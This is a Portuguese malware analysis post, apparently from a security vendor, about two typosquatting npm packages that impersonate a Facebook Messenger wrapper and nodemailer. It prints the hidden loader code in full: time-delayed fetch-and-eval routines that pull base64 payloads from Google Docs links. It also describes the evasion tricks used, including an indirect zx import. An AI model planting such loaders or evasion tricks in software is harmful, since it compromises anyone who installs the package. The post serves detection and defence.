Aikido

Esconder e Falhar: Malware Obfuscado, Payloads Vazios e Manobras do npm

Charlie EriksenCharlie Eriksen
|
#
#

Em 14 de março de 2025, detectamos um pacote malicioso no npm chamado node-facebook-messenger-api. A princípio, parecia ser um malware comum, embora não conseguíssemos identificar o objetivo final. Não demos muita importância até 3 de abril de 2025, quando vimos o mesmo ator de ameaça expandir seu ataque. Esta é uma breve visão geral das técnicas usadas por este atacante específico e algumas observações interessantes sobre como suas tentativas de ofuscação acabam tornando-os ainda mais óbvios. 

TLDR 

  • 🕵️ Em 14 de março de 2025, detectamos um pacote npm malicioso: node-facebook-messenger-api@4.1.0, disfarçado como um wrapper legítimo do Facebook Messenger.
  • 🧪 O atacante escondeu lógica de execução remota de código usando axios e eval() para extrair um payload de um link do Google Docs — mas o arquivo estava vazio.
  • 🔁 Versões posteriores usaram execução com retardo e trocado no zx biblioteca para evitar detecção, incorporando lógica maliciosa que é acionada dias após a publicação.
  • 📦 Em 3 de abril de 2025, o mesmo ator de ameaça lançou um segundo pacote falso: node-smtp-mailer@6.10.0, personificando nodemailer, com a mesma lógica C2 e ofuscação.
  • 🧬 Ambos os pacotes usaram o mesmo conjunto de dependências exclusivo (incluindo hyper-types), revelando um claro padrão de assinatura vinculando os ataques.
  • 💀 As tentativas de ofuscação do atacante — como esconder código em arquivos grandes e puxar zx silenciosamente via outra dependência — ironicamente tornaram a campanha mais fácil de ser detectada.
  • 🚨 Os payloads nunca entregaram algo funcional, mas os TTPs são reais e mostram como os ataques à Supply chain no npm estão evoluindo.
  • Primeiros passos

    Tudo começou em 14 de março às 04:37 UTC, quando nossos sistemas nos alertaram sobre um pacote suspeito. Foi publicado pelo usuário victor.ben0825, que também afirma ter o nome perusworld. Este é o nome de usuário do usuário que possui o repositório legítimo para esta biblioteca.  

    Aqui está o código que foi detectado como malicioso em node-facebook-messenger-api@4.1.0:, no arquivo messenger.js, linha 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    O atacante tentou ocultar este código em um arquivo de 769 linhas, que é uma classe grande. Aqui, eles adicionaram uma função e a estão chamando diretamente. Muito astuto, mas também muito óbvio. Tentamos buscar o payload, mas ele estava vazio. Nós o classificamos como malware e seguimos em frente.

    Poucos minutos depois, o atacante publicou outra versão, 4.1.1. A única alteração parecia estar no README.md e package.json arquivos, onde eles alteraram a versão, descrição e instruções de instalação. Como marcamos o autor como um autor mal-intencionado, os pacotes a partir deste ponto foram automaticamente sinalizados como malware.

    Tentativa de dissimulação

    Então, em 20 de março de 2025, às 16:29 UTC, nosso sistema sinalizou automaticamente a versão 4.1.2 do pacote. Vamos ver o que havia de novo. A primeira alteração está em node-facebook-messenger-api.js, que contém:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    A alteração neste arquivo é a última linha. Não está apenas importando o messenger.js arquivo quando solicitado, isso é sempre feito quando o módulo é importado. Inteligente! A outra alteração é nesse arquivo, messenger.js. Ele removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Aqui está uma visão geral do que ele faz:

    1. Ele utiliza uma verificação baseada em tempo para determinar se deve ativar o código malicioso. Ele só seria ativado cerca de 4 dias depois.
    2. Em vez de usar axios, agora ele utiliza o Google zx biblioteca para buscar o payload malicioso.
    3. Ele desativa o modo verboso, que também é o padrão.
    4. Ele então busca o código malicioso
    5. Ele o decodifica em base64
    6. Ele cria uma nova Função usando o Function() construtor, que é efetivamente equivalente a um eval() chamada. 
    7. Ele então chama a função, passando require como um argumento.

    Mas, novamente, quando tentamos buscar o arquivo, não recebemos um payload. Apenas um arquivo vazio chamado info.txt. O uso de zx é curioso. Analisamos as dependências e notamos que o pacote original continha algumas dependências:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    O pacote malicioso contém o seguinte:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Olha só, eles adicionaram a dependência hyper-types. Muito interessante, voltaremos a isso mais algumas vezes. 

    Eles atacam novamente!

    Então, em 3 de abril de 2025, às 06:46, um novo pacote foi lançado pelo usuário cristr. Eles lançaram opacote e  node-smtp-mailer@6.10.0. Nossos sistemas o sinalizaram automaticamente por conter código potencialmente malicioso. Nós o analisamos e ficamos um pouco animados. O pacote se passa por nodemailer, apenas com um nome diferente.  

    Nosso sistema sinalizou o arquivo lib/smtp-pool/index.js. Percebemos rapidamente que o invasor adicionou código na parte inferior do arquivo legítimo, logo antes do final module.exports. Aqui está o que é adicionado:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    Conhecemos este código! Ele está novamente com um carimbo de data/hora para ser executado apenas 4 dias depois. Tentamos, com entusiasmo, buscar o payload, mas recebemos apenas um arquivo vazio chamado beginner.txt. Booo! Analisamos as dependências novamente para ver como elas são importadas. zx. Notamos que o legítimo nodemailer o pacote possui não direto dependências, apenas devDependencies. Mas aqui está o que está no pacote malicioso:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Você vê alguma similaridade entre este e o primeiro pacote que detectamos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este. 

    Dependências interessantes

    Então, por que eles mudaram de usar axios para zx para fazer HTTP requisições? Definitivamente para evitar a detecção. Mas o interessante é que zx não é uma dependência direta. Em vez disso, o invasor incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach. 

    Além do fato de que o repositório referenciado não existe mais, há algo interessante a ser observado aqui. Veja como há 2 dependentes? Adivinhe quem são eles. 

    Se o atacante realmente quisesse tentar ofuscar sua atividade, é bastante tolo depender de um pacote do qual ele é o único dependente. 

    Palavras Finais

    Embora o atacante por trás desses pacotes npm tenha falhado em entregar um payload funcional, sua campanha destaca a evolução contínua das ameaças à Supply chain que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma crescente conscientização sobre os mecanismos de detecção — e uma disposição para experimentar. Mas também mostra como a segurança operacional descuidada e padrões repetidos ainda podem denunciá-los. Como defensores, é um lembrete de que mesmo ataques falhos são inteligência valiosa. Cada artefato, truque de ofuscação e dependência reutilizada nos ajuda a construir melhores capacidades de detecção e atribuição. E o mais importante, reforça por que o monitoramento contínuo e a sinalização automatizada de registros de pacotes públicos não são mais opcionais — são críticos.

    4.7/5

    Proteja seu software agora

    Comece Gratuitamente
    Não é necessário cc
    Agendar uma demonstração
    Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

    Fique seguro agora

    Proteja seu código, Cloud e runtime em um único sistema centralizado.
    Encontre e corrija vulnerabilidades rapidamente de forma automática.

    Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.